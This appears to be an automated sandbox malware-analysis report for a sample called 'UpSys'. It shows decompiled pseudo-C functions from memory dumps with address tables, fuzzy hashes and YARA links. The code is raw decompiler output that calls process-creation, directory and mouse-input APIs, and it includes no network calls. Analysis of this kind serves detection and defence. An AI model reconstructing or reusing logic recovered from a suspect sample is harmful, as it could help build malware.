				asm("movaps xmm7, [esp+0x40]");
				if (_t64 > 0) goto 0x40035d01;
				if ( *((intOrPtr*)(0x140000000 + 0xb0360 + ( *((intOrPtr*)(_t90 + 8)) + ( *(_t89 + 0x20) +  *(_t89 + 0x20) * 2) * 4) * 4)) != 1) goto 0x40035f3b;
				if (r8d != 1) goto 0x40035ffc;
				if ( *((intOrPtr*)(_t90 + 8)) != 1) goto 0x400360d6;
				if ( *((intOrPtr*)(_t89 + 0x18)) -  *_t90 < 0) goto 0x40005230;
				_t50 =  *((intOrPtr*)(_t89 + 4)) + 1;
				 *__r8 = _t50;
				asm("movaps xmm6, [esp+0x50]");
				if (_v88 != 0) goto 0x400361b4;
				if (_v96 == 8) goto 0x400361c8;
				if (_v96 == 0xa) goto 0x400361ec;
				if (_v96 == 5) goto 0x4003620a;
				if (_v96 == 0xb) goto 0x4003621a;
				if (_v96 == 0xc) goto 0x40036238;
				return _t50;
			}














                                                                                                                                                                                                        0x14000506d
                                                                                                                                                                                                        0x140005070
                                                                                                                                                                                                        0x14000507a
                                                                                                                                                                                                        0x14000507f
                                                                                                                                                                                                        0x140005087
                                                                                                                                                                                                        0x140005091
                                                                                                                                                                                                        0x140005097
                                                                                                                                                                                                        0x1400050a0
                                                                                                                                                                                                        0x1400050a4
                                                                                                                                                                                                        0x1400050ac
                                                                                                                                                                                                        0x1400050b4
                                                                                                                                                                                                        0x1400050bc
                                                                                                                                                                                                        0x1400050c6
                                                                                                                                                                                                        0x1400050d3
                                                                                                                                                                                                        0x1400050d8
                                                                                                                                                                                                        0x1400050e5
                                                                                                                                                                                                        0x1400050eb
                                                                                                                                                                                                        0x1400050f2
                                                                                                                                                                                                        0x1400050fb
                                                                                                                                                                                                        0x140005104
                                                                                                                                                                                                        0x14000510d
                                                                                                                                                                                                        0x140005116
                                                                                                                                                                                                        0x14000511c
                                                                                                                                                                                                        0x140005120
                                                                                                                                                                                                        0x14000512f
                                                                                                                                                                                                        0x140005140
                                                                                                                                                                                                        0x14000514c
                                                                                                                                                                                                        0x140005152
                                                                                                                                                                                                        0x140005157
                                                                                                                                                                                                        0x14000515a
                                                                                                                                                                                                        0x140005160
                                                                                                                                                                                                        0x140005165
                                                                                                                                                                                                        0x140005169
                                                                                                                                                                                                        0x14000516d
                                                                                                                                                                                                        0x140005172
                                                                                                                                                                                                        0x140005193
                                                                                                                                                                                                        0x14000519d
                                                                                                                                                                                                        0x1400051ac
                                                                                                                                                                                                        0x1400051b6
                                                                                                                                                                                                        0x1400051bb
                                                                                                                                                                                                        0x1400051bd
                                                                                                                                                                                                        0x1400051c1
                                                                                                                                                                                                        0x1400051ce
                                                                                                                                                                                                        0x1400051d9
                                                                                                                                                                                                        0x1400051e4
                                                                                                                                                                                                        0x1400051ef
                                                                                                                                                                                                        0x1400051fa
                                                                                                                                                                                                        0x140005205
                                                                                                                                                                                                        0x14000522f

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Current_exceptionstd::exception_ptr::_$ClearVariant
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 332225251-0
                                                                                                                                                                                                        • Opcode ID: fd1f523b130101b9da667135d00f711746d9c7bb30fe90109de60ea66ae3e5f6
                                                                                                                                                                                                        • Instruction ID: 77b22de05bdf3c697e33b1255120b20c5c3e0b67f42efdcd17c114d4f8994bf3
                                                                                                                                                                                                        • Opcode Fuzzy Hash: fd1f523b130101b9da667135d00f711746d9c7bb30fe90109de60ea66ae3e5f6
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 8A12C07221464096EA77EA27E4943EF63A4FB8E7C5F544112FB4A07AF6CB39CA51C700
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014004E640 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 92COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Window$PerformanceQuery$CounterRectmouse_event$CursorDesktopForegroundFrequencySleep
                                                                                                                                                                                                        • String ID: d
                                                                                                                                                                                                        • API String ID: 383626216-2564639436
                                                                                                                                                                                                        • Opcode ID: 825081479392e89f46edeca84dcdb53b2956a2e535f40c29c1ab46bc5280e6c6
                                                                                                                                                                                                        • Instruction ID: ed903fcd3dc8233c4ca2ba9dec45551c50dfcb37f5527c9073d613071d692626
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 825081479392e89f46edeca84dcdb53b2956a2e535f40c29c1ab46bc5280e6c6
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 4531AE3320869187E761DB26F540B9EB3A1F78C788F510221FB8943AA9DF39D959CF44
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140076250 Relevance: 12.3, APIs: 8, Instructions: 339COMMONCrypto
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 54%
                                                                                                                                                                                                        			E00000001140076250(void* __ecx, char __edx, void* __esp, long long __rbx, intOrPtr* __rcx, signed long long __rdx, signed long long __r9, void* __r10) {
				void* __rsi;
				void* __rbp;
				void* _t120;
				short _t122;
				void* _t138;
				void* _t146;
				signed int _t148;
				void* _t164;
				void* _t167;
				long _t174;
				signed char _t188;
				signed int _t192;
				void* _t223;
				void* _t255;
				long long _t263;
				long long _t264;
				intOrPtr _t265;
				WCHAR* _t266;
				signed long long _t273;
				signed long long _t345;
				void* _t353;
				signed int* _t358;
				intOrPtr _t359;
				long long _t361;
				WCHAR* _t365;
				void* _t367;
				intOrPtr* _t368;
				void* _t370;
				void* _t371;
				long long _t374;
				long _t379;
				long _t381;
				WCHAR* _t384;
				long long _t385;
				WCHAR* _t387;

				_t345 = __rdx;
				_t255 = _t370;
				 *((long long*)(_t255 + 8)) = __rbx;
				 *((char*)(_t255 + 0x10)) = __edx;
				_t371 = _t370 - 0x160;
				_t368 = __rcx;
				r12b = r8b;
				asm("movaps [eax-0x48], xmm6");
				_t273 = __r9;
				E00000001140017520(_t120, __ecx, 0, _t255 - 0xb8, __rdx, _t353);
				_t4 = _t353 - 0x67; // 0x1
				_t122 = _t4;
				 *((intOrPtr*)(_t371 + 0xe0)) = 0x68;
				 *((long long*)(_t371 + 0x68)) = _t361;
				 *((long long*)(_t371 + 0x70)) = _t361;
				 *((long long*)(_t371 + 0x60)) = _t361;
				 *(_t371 + 0x1b0) = 0;
				 *((intOrPtr*)(_t371 + 0x11c)) = _t122;
				 *((short*)(_t371 + 0x120)) = _t122;
				r14d = 0;
				if (r12b == sil) goto 0x400762fe;
				 *(_t371 + 0x1b0) = E00000001140010880( *((intOrPtr*)( *((intOrPtr*)(_t273 + 8)) + 0x18)));
				if ( *((long long*)(_t273 + 0x10)) - 7 <= 0) goto 0x40076330;
				E00000001140010880( *((intOrPtr*)( *((intOrPtr*)(_t273 + 8)) + 0x38)));
				goto 0x4007631c;
				if ( *((long long*)(_t273 + 0x10)) - 3 <= 0) goto 0x40076346;
				E00000001140010880( *((intOrPtr*)( *((intOrPtr*)(_t273 + 8)) + 0x18)));
				r14d = E00000001140010880( *((intOrPtr*)( *((intOrPtr*)(_t273 + 8)) + 0x18))) & 0x0000ffff;
				if (r12b == sil) goto 0x40076346;
				if ( *((long long*)(_t273 + 0x10)) - 6 <= 0) goto 0x40076341;
				goto 0x40076355;
				if (r12b != sil) goto 0x40076362;
				if ( *((long long*)(_t273 + 0x10)) - 2 <= 0) goto 0x40076362;
				 *((short*)(_t371 + 0x120)) = E00000001140010880( *((intOrPtr*)( *((intOrPtr*)(_t273 + 8)) + 0x10)));
				r13d = 0;
				asm("bt edi, 0x10");
				r13d =  <  ? 0x10 : r13d;
				_t263 =  *((intOrPtr*)(_t273 + 8));
				E00000001140062190(_t263,  *_t263);
				E00000001140015220(_t263, _t273, _t263);
				if (r12b == sil) goto 0x4007644f;
				 *((long long*)(_t371 + 0x68)) = _t263;
				E00000001140062190(_t263,  *((intOrPtr*)( *((intOrPtr*)(_t273 + 8)) + 8)));
				E00000001140015220(_t263, _t273, _t263);
				 *((long long*)(_t371 + 0x70)) = _t263;
				E00000001140062190(_t263,  *((intOrPtr*)( *((intOrPtr*)(_t273 + 8)) + 0x10)));
				E00000001140015220(_t263, _t273, _t263);
				 *((long long*)(_t371 + 0x60)) = _t263;
				E00000001140062190(_t263,  *((intOrPtr*)( *((intOrPtr*)(_t273 + 8)) + 0x20)));
				E00000001140015220(_t263, _t273, _t263);
				if ( *((long long*)(_t273 + 0x10)) - 5 <= 0) goto 0x40076415;
				E00000001140062190(_t263,  *((intOrPtr*)( *((intOrPtr*)(_t273 + 8)) + 0x28)));
				_t138 = E00000001140015220(_t263, _t273, _t263);
				if (_t263 == 0) goto 0x40076415;
				E00000001140016A44(_t138, _t263);
				if (_t263 != 0) goto 0x400764bf;
				GetSystemDirectoryW(_t387);
				_t264 =  <  ? 0xffffffff : _t263;
				E00000001140016ED8(_t264, _t264);
				GetSystemDirectoryW(_t384);
				goto 0x400764bf;
				if ( *((intOrPtr*)(_t273 + 0x10)) - _t353 <= 0) goto 0x40076487;
				_t265 =  *((intOrPtr*)(_t273 + 8));
				E00000001140062190(_t265,  *((intOrPtr*)(_t265 + 8)));
				_t146 = E00000001140015220(_t265, _t273, _t265);
				if (_t265 == 0) goto 0x40076487;
				E00000001140016A44(_t146, _t265);
				if (_t265 != 0) goto 0x400764ff;
				_t148 = GetCurrentDirectoryW(_t381);
				_t266 =  <  ? 0xffffffff : _t265;
				E00000001140016ED8(_t266, _t266);
				_t192 = _t148;
				_t365 = _t266;
				GetCurrentDirectoryW(_t379);
				if (r12b == 0) goto 0x400764fa;
				E00000001140012D80(2 * _t345 >> 0x20, _t266, _t273,  *((intOrPtr*)( *((intOrPtr*)(_t273 + 8)))), 0x4009b6c0, _t365, _t353);
				E00000001140012D80(2 * _t345 >> 0x20, _t266, _t273,  *((intOrPtr*)( *((intOrPtr*)(_t273 + 8)) + 8)), 0x4009b6c0, _t365, _t353);
				E00000001140012D80(2 * _t345 >> 0x20, _t266, _t273,  *((intOrPtr*)( *((intOrPtr*)(_t273 + 8)) + 0x10)), 0x4009b6c0, _t365, _t353);
				E0000000114003F7A0(r14d, _t266, _t371 + 0x90);
				if (r14d == 0) goto 0x40076588;
				E0000000114004FFA0(r14d, _t273, _t371 + 0x90, _t365, _t368, _t353);
				_t274 = _t273 | 0xffffffff;
				r14d = 1 + (_t273 | 0xffffffff);
				 *(_t371 + 0x138) = _t266;
				_t219 =  ==  ? r14d : 1;
				E0000000114004FF40(_t266 - (_t273 | 0xffffffff), _t273 | 0xffffffff, _t371 + 0x90, _t365, _t368, _t361);
				 *(_t371 + 0x140) = _t266;
				_t220 =  ==  ? r14d :  ==  ? r14d : 1;
				E0000000114004FF10(_t371 + 0x90);
				 *(_t371 + 0x130) = _t266;
				_t187 =  ==  ? r14d : dil & 0xffffffff;
				_t248 = ( ==  ? r14d : dil & 0xffffffff) - r14b;
				if (( ==  ? r14d : dil & 0xffffffff) == r14b) goto 0x4007658e;
				asm("bts dword [esp+0x11c], 0x8");
				goto 0x4007658e;
				r14d = 0;
				_t188 = r14b;
				if (r12b == r14b) goto 0x40076649;
				 *((long long*)(_t371 + 0x50)) = _t371 + 0x78;
				 *((long long*)(_t371 + 0x48)) = _t371 + 0xe0;
				 *(_t371 + 0x40) = _t365;
				 *(_t371 + 0x38) = r13d;
				 *((long long*)(_t371 + 0x30)) = _t264;
				 *(_t371 + 0x28) = _t384;
				_t385 =  *((intOrPtr*)(_t371 + 0x70));
				_t374 = _t385;
				 *(_t371 + 0x20) =  *(_t371 + 0x1b0);
				r12b = E00000001140053500(__esp, _t273 | 0xffffffff, _t371 + 0x1b0,  *((intOrPtr*)(_t371 + 0x68)), _t365, _t368, _t374,  *((intOrPtr*)(_t371 + 0x60)), __r10);
				E00000001140016A44(_t161,  *((intOrPtr*)(_t371 + 0x68)));
				_t164 = memset(1, 0, _t192 << 0);
				_t221 = ( ==  ? r14d :  ==  ? r14d : 1) + _t192;
				E00000001140016A44(_t164, _t385);
				_t167 = memset(1, 0, 0 << 0);
				_t222 = ( ==  ? r14d :  ==  ? r14d : 1) + _t192;
				E00000001140016A44(_t167,  *((intOrPtr*)(_t371 + 0x60)));
				memset(1, 0, 0 << 0);
				_t223 = ( ==  ? r14d :  ==  ? r14d : 1) + _t192;
				0x40016a60();
				0x40016a60();
				0x40016a60();
				r14d = 0;
				goto 0x4007668e;
				r9d = 0;
				 *((long long*)(_t371 + 0x48)) = _t371 + 0x78;
				r8d = 0;
				 *(_t371 + 0x40) = _t371 + 0xe0;
				 *(_t371 + 0x38) = _t365;
				 *((long long*)(_t371 + 0x30)) = _t385;
				 *(_t371 + 0x28) = r13d;
				 *(_t371 + 0x20) = _t188 & 0x000000ff;
				r12b = CreateProcessW(??, ??, ??, ??, ??, ??, ??, ??, ??, ??) != r14d;
				0x40016a60();
				0x40016a60();
				if (r12b != r14b) goto 0x400766f4;
				r8d = 0;
				_t99 = _t374 + 1; // 0x1
				E0000000114000FCA0(_t99,  *_t368, _t273 | 0xffffffff,  *((intOrPtr*)( *_t368 + 4)) + _t368, _t365, _t367);
				_t174 = GetLastError();
				r8d = 0;
				E0000000114000FC40(_t174,  *_t368, _t273 | 0xffffffff,  *((intOrPtr*)( *_t368 + 4)) + _t368, _t365, _t368);
				_t358 =  *((intOrPtr*)(_t371 + 0x1c0));
				E00000001140007A40(_t274, _t358, _t365);
				_t358[2] = 1;
				 *_t358 = r14d;
				goto 0x40076791;
				CloseHandle(??);
				if (_t188 == r14b) goto 0x40076743;
				E0000000114004FE90(_t188 - r14b, _t371 + 0x90, _t264, _t374);
				 *((intOrPtr*)(_t371 + 0x94)) =  *((intOrPtr*)(_t371 + 0x88));
				E00000001140059840( *((intOrPtr*)(_t371 + 0x88)),  *_t368, _t371 + 0x90, _t264, _t374,  *((intOrPtr*)(_t371 + 0x60)));
				E00000001140058170( *_t368, _t274, _t368 + 0x7d8, _t371 + 0x90, _t365);
				if ( *((intOrPtr*)(_t371 + 0x1a8)) == r14b) goto 0x4007675b;
				 *((long long*)(_t368 + 0x7a8)) =  *((intOrPtr*)(_t371 + 0x78));
				goto 0x40076791;
				_t359 =  *((intOrPtr*)(_t371 + 0x1c0));
				asm("pxor xmm6, xmm6");
				asm("repne dec eax");
				E00000001140007A40(_t274, _t359, _t365);
				asm("movsd [edi], xmm6");
				 *((intOrPtr*)(_t359 + 8)) = 3;
				CloseHandle(??);
				E00000001140059930( *((intOrPtr*)(_t371 + 0x88)),  *((intOrPtr*)(_t371 + 0x1a8)) - r14b, _t371 + 0x90, _t371 + 0x90, _t374);
				asm("inc ecx");
				return 0;
			}






































                                                                                                                                                                                                        0x140076250
                                                                                                                                                                                                        0x140076250
                                                                                                                                                                                                        0x140076253
                                                                                                                                                                                                        0x140076257
                                                                                                                                                                                                        0x140076265
                                                                                                                                                                                                        0x14007626c
                                                                                                                                                                                                        0x14007626f
                                                                                                                                                                                                        0x140076283
                                                                                                                                                                                                        0x140076287
                                                                                                                                                                                                        0x14007628a
                                                                                                                                                                                                        0x140076291
                                                                                                                                                                                                        0x140076291
                                                                                                                                                                                                        0x140076294
                                                                                                                                                                                                        0x14007629b
                                                                                                                                                                                                        0x1400762a0
                                                                                                                                                                                                        0x1400762a5
                                                                                                                                                                                                        0x1400762aa
                                                                                                                                                                                                        0x1400762b1
                                                                                                                                                                                                        0x1400762b8
                                                                                                                                                                                                        0x1400762c2
                                                                                                                                                                                                        0x1400762c8
                                                                                                                                                                                                        0x1400762dc
                                                                                                                                                                                                        0x1400762e3
                                                                                                                                                                                                        0x1400762ed
                                                                                                                                                                                                        0x1400762fc
                                                                                                                                                                                                        0x140076303
                                                                                                                                                                                                        0x14007630d
                                                                                                                                                                                                        0x140076327
                                                                                                                                                                                                        0x14007632e
                                                                                                                                                                                                        0x140076335
                                                                                                                                                                                                        0x14007633f
                                                                                                                                                                                                        0x140076344
                                                                                                                                                                                                        0x14007634b
                                                                                                                                                                                                        0x14007635a
                                                                                                                                                                                                        0x140076367
                                                                                                                                                                                                        0x14007636a
                                                                                                                                                                                                        0x14007636e
                                                                                                                                                                                                        0x140076372
                                                                                                                                                                                                        0x140076379
                                                                                                                                                                                                        0x140076381
                                                                                                                                                                                                        0x140076389
                                                                                                                                                                                                        0x140076393
                                                                                                                                                                                                        0x14007639c
                                                                                                                                                                                                        0x1400763a4
                                                                                                                                                                                                        0x1400763b1
                                                                                                                                                                                                        0x1400763b6
                                                                                                                                                                                                        0x1400763be
                                                                                                                                                                                                        0x1400763cb
                                                                                                                                                                                                        0x1400763d0
                                                                                                                                                                                                        0x1400763d8
                                                                                                                                                                                                        0x1400763e5
                                                                                                                                                                                                        0x1400763ef
                                                                                                                                                                                                        0x1400763f7
                                                                                                                                                                                                        0x140076402
                                                                                                                                                                                                        0x140076407
                                                                                                                                                                                                        0x14007640f
                                                                                                                                                                                                        0x140076419
                                                                                                                                                                                                        0x140076433
                                                                                                                                                                                                        0x14007643a
                                                                                                                                                                                                        0x140076447
                                                                                                                                                                                                        0x14007644d
                                                                                                                                                                                                        0x14007645b
                                                                                                                                                                                                        0x14007645d
                                                                                                                                                                                                        0x140076465
                                                                                                                                                                                                        0x14007646d
                                                                                                                                                                                                        0x140076478
                                                                                                                                                                                                        0x14007647d
                                                                                                                                                                                                        0x140076485
                                                                                                                                                                                                        0x14007648b
                                                                                                                                                                                                        0x1400764a5
                                                                                                                                                                                                        0x1400764ac
                                                                                                                                                                                                        0x1400764b1
                                                                                                                                                                                                        0x1400764b6
                                                                                                                                                                                                        0x1400764b9
                                                                                                                                                                                                        0x1400764c2
                                                                                                                                                                                                        0x1400764d5
                                                                                                                                                                                                        0x1400764e5
                                                                                                                                                                                                        0x1400764f5
                                                                                                                                                                                                        0x14007650a
                                                                                                                                                                                                        0x140076512
                                                                                                                                                                                                        0x14007651c
                                                                                                                                                                                                        0x140076521
                                                                                                                                                                                                        0x140076530
                                                                                                                                                                                                        0x140076534
                                                                                                                                                                                                        0x14007653c
                                                                                                                                                                                                        0x140076540
                                                                                                                                                                                                        0x140076550
                                                                                                                                                                                                        0x140076558
                                                                                                                                                                                                        0x14007655c
                                                                                                                                                                                                        0x14007656c
                                                                                                                                                                                                        0x140076574
                                                                                                                                                                                                        0x140076578
                                                                                                                                                                                                        0x14007657b
                                                                                                                                                                                                        0x14007657d
                                                                                                                                                                                                        0x140076586
                                                                                                                                                                                                        0x140076588
                                                                                                                                                                                                        0x14007658b
                                                                                                                                                                                                        0x140076591
                                                                                                                                                                                                        0x1400765a9
                                                                                                                                                                                                        0x1400765b6
                                                                                                                                                                                                        0x1400765c2
                                                                                                                                                                                                        0x1400765c7
                                                                                                                                                                                                        0x1400765d1
                                                                                                                                                                                                        0x1400765d6
                                                                                                                                                                                                        0x1400765db
                                                                                                                                                                                                        0x1400765e3
                                                                                                                                                                                                        0x1400765e6
                                                                                                                                                                                                        0x1400765f2
                                                                                                                                                                                                        0x1400765f5
                                                                                                                                                                                                        0x140076602
                                                                                                                                                                                                        0x140076602
                                                                                                                                                                                                        0x140076607
                                                                                                                                                                                                        0x140076614
                                                                                                                                                                                                        0x140076614
                                                                                                                                                                                                        0x14007661e
                                                                                                                                                                                                        0x140076628
                                                                                                                                                                                                        0x140076628
                                                                                                                                                                                                        0x14007662d
                                                                                                                                                                                                        0x140076635
                                                                                                                                                                                                        0x14007663f
                                                                                                                                                                                                        0x140076644
                                                                                                                                                                                                        0x140076647
                                                                                                                                                                                                        0x140076651
                                                                                                                                                                                                        0x140076654
                                                                                                                                                                                                        0x140076661
                                                                                                                                                                                                        0x140076664
                                                                                                                                                                                                        0x140076669
                                                                                                                                                                                                        0x14007666e
                                                                                                                                                                                                        0x140076678
                                                                                                                                                                                                        0x14007667d
                                                                                                                                                                                                        0x14007668a
                                                                                                                                                                                                        0x140076691
                                                                                                                                                                                                        0x140076699
                                                                                                                                                                                                        0x1400766a1
                                                                                                                                                                                                        0x1400766a7
                                                                                                                                                                                                        0x1400766ae
                                                                                                                                                                                                        0x1400766b5
                                                                                                                                                                                                        0x1400766ba
                                                                                                                                                                                                        0x1400766c0
                                                                                                                                                                                                        0x1400766d0
                                                                                                                                                                                                        0x1400766d5
                                                                                                                                                                                                        0x1400766e0
                                                                                                                                                                                                        0x1400766e5
                                                                                                                                                                                                        0x1400766ec
                                                                                                                                                                                                        0x1400766ef
                                                                                                                                                                                                        0x1400766fc
                                                                                                                                                                                                        0x140076705
                                                                                                                                                                                                        0x14007670f
                                                                                                                                                                                                        0x140076723
                                                                                                                                                                                                        0x14007672a
                                                                                                                                                                                                        0x14007673e
                                                                                                                                                                                                        0x14007674b
                                                                                                                                                                                                        0x140076752
                                                                                                                                                                                                        0x140076759
                                                                                                                                                                                                        0x140076762
                                                                                                                                                                                                        0x14007676a
                                                                                                                                                                                                        0x140076771
                                                                                                                                                                                                        0x140076776
                                                                                                                                                                                                        0x140076780
                                                                                                                                                                                                        0x140076784
                                                                                                                                                                                                        0x14007678b
                                                                                                                                                                                                        0x140076799
                                                                                                                                                                                                        0x1400767ac
                                                                                                                                                                                                        0x1400767bf

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Directory$CurrentSystem$CloseErrorHandleLast
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1985256609-0
                                                                                                                                                                                                        • Opcode ID: 2a771766e7c2c306a378b13fb13fd2531257359c1a75c8a2a978b9dfd4307101
                                                                                                                                                                                                        • Instruction ID: a843bf8ba07a9d9749bef9d032566d8c2baca2de8423835cd526bc3ac483320b
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 2a771766e7c2c306a378b13fb13fd2531257359c1a75c8a2a978b9dfd4307101
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 71E15B32204A8081EA66EF26E4513EEA7A1F789BD4F544521FF9E4B7A6DF39C441C740
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014002889C Relevance: 12.2, APIs: 8, Instructions: 228COMMONCrypto
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 21%
                                                                                                                                                                                                        			E0000000114002889C(intOrPtr __ebx, intOrPtr __edi, long long __rcx, signed short* __rdx, void* __r8, void* __r9) {
				void* __rbx;
				void* __rsi;
				void* __rbp;
				int _t87;
				char _t88;
				intOrPtr _t94;
				void* _t119;
				signed long long _t146;
				signed long long _t147;
				signed long long _t148;
				signed short* _t150;
				signed short* _t151;
				long long _t152;
				intOrPtr _t161;
				intOrPtr* _t162;
				long long _t165;
				long long _t175;
				int _t184;
				void* _t185;
				void* _t189;
				signed short* _t190;
				signed short* _t191;
				void* _t193;
				int _t194;
				signed long long _t196;
				long long _t203;
				intOrPtr _t204;
				long long _t205;

				_t94 = __ebx;
				_t146 =  *0x400aeaa0; // 0x9e268096a868
				_t147 = _t146 ^ _t196;
				 *(_t196 + 0x70) = _t147;
				r14d = 0;
				_t185 = __r8;
				_t190 = __rdx;
				_t203 = __rcx;
				_t165 = _t205;
				 *((intOrPtr*)(_t196 + 0x40)) = r14d;
				if (__rcx == _t205) goto 0x400288e2;
				if (__r8 != _t205) goto 0x400288e2;
				goto 0x40028bf7;
				if (__rdx != _t205) goto 0x4002890f;
				E0000000114001EAE4(__rdx - _t205, _t147);
				r9d = 0;
				r8d = 0;
				 *((long long*)(_t196 + 0x20)) = _t205;
				 *_t147 = 0x16;
				E0000000114001EA14(_t147, _t165, __rcx, __rdx, __rdx, _t193, __r8);
				_t148 = _t147 | 0xffffffff;
				goto 0x40028bf7;
				E00000001140016BCC(_t148, _t196 + 0x48, __r9);
				if (_t203 == _t205) goto 0x40028b7a;
				_t204 =  *((intOrPtr*)(_t196 + 0x48));
				if ( *((intOrPtr*)(_t204 + 0x14)) != r14d) goto 0x400289a6;
				if (_t185 - _t205 <= 0) goto 0x40028be1;
				if ( *_t190 - 0xff > 0) goto 0x4002897f;
				 *((char*)(_t203 + _t165)) =  *_t190;
				_t191 =  &(_t190[1]);
				if (( *_t190 & 0x0000ffff) == r14w) goto 0x40028963;
				if (_t165 + 1 - _t185 < 0) goto 0x40028939;
				goto 0x40028be1;
				if ( *((intOrPtr*)(_t196 + 0x60)) == r14b) goto 0x40028bf4;
				 *( *((intOrPtr*)(_t196 + 0x58)) + 0xc8) =  *( *((intOrPtr*)(_t196 + 0x58)) + 0xc8) & 0xfffffffd;
				goto 0x40028bf4;
				E0000000114001EAE4( *((intOrPtr*)(_t196 + 0x60)) - r14b, _t148);
				 *_t148 = 0x2a;
				if ( *((intOrPtr*)(_t196 + 0x60)) == r14b) goto 0x40028906;
				 *( *((intOrPtr*)(_t196 + 0x58)) + 0xc8) =  *( *((intOrPtr*)(_t196 + 0x58)) + 0xc8) & 0xfffffffd;
				goto 0x40028906;
				if ( *((intOrPtr*)(_t204 + 0x10c)) != 1) goto 0x40028a4c;
				if (_t185 - _t205 <= 0) goto 0x400289e6;
				_t150 = _t191;
				_t119 =  *_t150 - r14w;
				if (_t119 == 0) goto 0x400289cf;
				_t151 =  &(_t150[1]);
				if (_t119 != 0) goto 0x400289bf;
				if (_t185 - 1 == _t205) goto 0x400289e6;
				if ( *_t151 != r14w) goto 0x400289e6;
